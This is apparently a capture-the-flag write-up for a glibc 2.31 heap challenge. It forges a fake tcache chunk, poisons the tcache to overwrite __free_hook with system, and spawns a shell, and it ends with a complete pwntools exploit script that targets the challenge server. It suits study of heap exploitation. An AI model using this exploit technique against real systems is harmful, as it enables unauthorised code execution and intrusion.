Simple Fake
Simple Fake
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-05 | Status: Solved Techniques: fake_chunk_forge, free_hook_overwrite, system_binsh, tcache_poisoning_via_overlap_write
Summary
Task: heap challenge with heap/libc leaks, a large attacker-controlled buffer, and an arbitrary free() primitive on glibc 2.31. Solution: forge a fake 0x50 tcache chunk inside the large buffer overlapping the adjacent freed chunk's fd pointer, tcache-poison fd to __free_hook, overwrite with system, trigger via free("/bin/sh").
Simple Fake — spbctf
Description
Simple Fake — pwn.
nc 109.233.56.90 11805Files:mc1.elf(x86-64 PIE, Full RELRO, Canary, NX, SHSTK, IBT, not stripped) Libc: glibc 2.31 (Ubuntu 20.04.3 LTS),libc6_2.31-0ubuntu9.2_amd64
A heap challenge binary that:
- Allocates a minimal chunk via
malloc(0)and leaks the heap base by printing its address. - Prints the resolved GOT entry for
printf, providing a libc leak. - Allocates a large 0x4d0-byte buffer (
bufA) and reads attacker-controlled data into it. - Allocates three 0x50-sized chunks (B, C, D), frees C then B (tcache[0x50]: B → C).
- Reads a hex address from the user and calls
free()on it — the arbitrary free primitive. - Performs three
malloc(0x40)+read_n(ptr, 0x40)calls (E, F, G) — three tcache pops with attacker-controlled writes. - Prints "Ok, bye!" and calls
free(bufA).
Goal: get a shell on the remote container and read the flag.
Analysis
Binary protections
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Full RELRO means GOT is read-only — no GOT overwrite. However, glibc 2.31 still has a writable __free_hook (removed in 2.34+) and no tcache safe-linking (added in 2.32). This makes __free_hook overwrite via tcache poisoning the natural target.
Heap layout
Verified via LD_PRELOAD malloc/free tracer in Docker:
heap_base + 0x000 tcache_perthread_struct (0x290 chunk)
heap_base + 0x290 malloc(0) chunk (0x20) user = heap_base + 0x2a0 (leaked)
heap_base + 0x2b0 bufA chunk (0x4e0) user = heap_base + 0x2c0, data spans 0x2c0..0x790
heap_base + 0x790 B chunk (0x50) user B = heap_base + 0x7a0
heap_base + 0x7e0 C chunk (0x50) user C = heap_base + 0x7f0
heap_base + 0x830 D chunk (0x50) user D = heap_base + 0x840
After free(C); free(B): tcache[0x50] = B → C (count=2).
Key libc offsets
| Symbol | Offset |
|---|---|
printf | 0x64e10 |
system | 0x55410 |
__free_hook | 0x1eeb28 |
/bin/sh | 0x1b75aa |
The vulnerability
The arbitrary free() on a user-supplied address, combined with the large attacker-controlled bufA (which can contain forged chunk metadata), and three post-free writes enables tcache poisoning → __free_hook overwrite.
Why a fake chunk?
We cannot directly corrupt B's fd pointer because B is already freed and we have no write primitive to its memory at that point. However, bufA's data region (0x2c0..0x790) is directly adjacent to B's chunk (starting at 0x790). By forging a fake 0x50-sized chunk near the end of bufA, we can:
- Free the fake chunk into tcache[0x50] (it becomes the head).
- Pop it back via
malloc(0x40)and write through it — the write extends into B's metadata, corrupting B'sfdpointer.
Solution
Step-by-step exploit
1. Forge fake chunk inside bufA.
During the read_n(bufA, 0x4d0) read, place a fake chunk header at heap_base + 0x760:
prev_size = 0at offset 0x760size = 0x51(0x50 | PREV_INUSE) at offset 0x768- User data starts at
heap_base + 0x770(=fake_user) e->keyat offset 0x778 set to 0 (bypasses tcache double-free check:key != tcache)
The first 8 bytes of bufA are set to /bin/sh\0 for the final system() call.
2. Arbitrary free(fake_user).
Send fake_user as the hex address. free() reads size 0x51 from the forged header, routes to tcache bin index 3 (0x50). No next-chunk validation in glibc 2.31 tcache fast path.
tcache[0x50] is now: fake → B → C (count=3).
3. E = malloc(0x40) → returns fake_user.
read_n(E, 0x40) writes 0x40 bytes starting at fake_user (0x770). B's fd pointer lives at B_user = 0x7a0, which is at offset 0x7a0 - 0x770 = 0x30 from fake_user. We write p64(__free_hook) at that offset.
tcache[0x50] head is now B, and B's fd has been corrupted to __free_hook.
4. F = malloc(0x40) → pops B.
tcache head becomes B->fd = __free_hook. Write 0x40 zero bytes (don't care).
5. G = malloc(0x40) → returns __free_hook!
Write p64(system) → __free_hook = system.
6. Final free(bufA) triggers system(bufA).
Since bufA starts with /bin/sh\0, this executes system("/bin/sh") → shell!
Critical debugging note
The initial exploit had a bug: the E-payload offset was computed by mixing a hex constant (0x7a0) with an absolute address (fake_user), instead of using the difference B_user - fake_user = 0x30. This caused B's fd to remain pointing at C, so the third malloc dereferenced a stale pointer instead of __free_hook → SIGSEGV. Fixing to absolute-difference arithmetic resolved the crash.
This was diagnosed using an LD_PRELOAD shim (hook.c) that logged all malloc/free calls plus a SIGSEGV handler, running in a privileged Docker container with ASLR disabled.
Solve script
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import sys, time context.arch = 'amd64' context.log_level = 'info' HOST, PORT = '109.233.56.90', 11805 libc = ELF('./libc.so.6', checksec=False) PRINTF_OFF = libc.sym['printf'] # 0x64e10 SYSTEM_OFF = libc.sym['system'] # 0x55410 FREE_HOOK_OFF = libc.sym['__free_hook'] # 0x1eeb28 def solve(): io = remote(HOST, PORT) # Parse leaks io.recvuntil(b'heap base: ') heap_leak = int(io.recvline().strip(), 16) io.recvuntil(b'libc base: ') printf_leak = int(io.recvline().strip(), 16) heap_base = heap_leak - 0x2a0 libc_base = printf_leak - PRINTF_OFF assert heap_base & 0xfff == 0, hex(heap_base) assert libc_base & 0xfff == 0, hex(libc_base) system = libc_base + SYSTEM_OFF free_hook = libc_base + FREE_HOOK_OFF log.success('heap_base = %#x' % heap_base) log.success('libc_base = %#x' % libc_base) log.success('system = %#x' % system) log.success('free_hook = %#x' % free_hook) bufA = heap_base + 0x2c0 B_user = heap_base + 0x7a0 fake_user = heap_base + 0x770 # Build bufA payload (0x4d0 bytes) buf = bytearray(b'/bin/sh\x00'.ljust(0x4d0, b'\x00')) off_hdr = 0x760 - 0x2c0 # fake chunk header offset in bufA = 0x4a0 buf[off_hdr:off_hdr+8] = p64(0) # prev_size buf[off_hdr+8:off_hdr+16] = p64(0x51) # size = 0x50 | PREV_INUSE io.send(bytes(buf)) # Arbitrary free of fake chunk io.recvuntil(b'free (in hex):') io.sendline(('%x' % fake_user).encode()) # E = malloc -> fake. Overflow: write free_hook at B->fd (offset 0x30) e_payload = bytearray(b'\x00' * 0x40) off_bfd = B_user - fake_user # 0x30 e_payload[off_bfd:off_bfd+8] = p64(free_hook) io.send(bytes(e_payload)) # F = malloc -> B. Head becomes free_hook. Write zeros. io.send(b'\x00' * 0x40) # G = malloc -> free_hook. Write system. io.send(p64(system).ljust(0x40, b'\x00')) # Final free(bufA) => system("/bin/sh") time.sleep(0.5) io.sendline(b'cat /flag* 2>/dev/null; cat flag* 2>/dev/null; id') time.sleep(1.0) try: out = io.recvrepeat(3) sys.stdout.write(out.decode(errors='replace')) except Exception as e: log.warning(str(e)) io.interactive() if __name__ == '__main__': solve()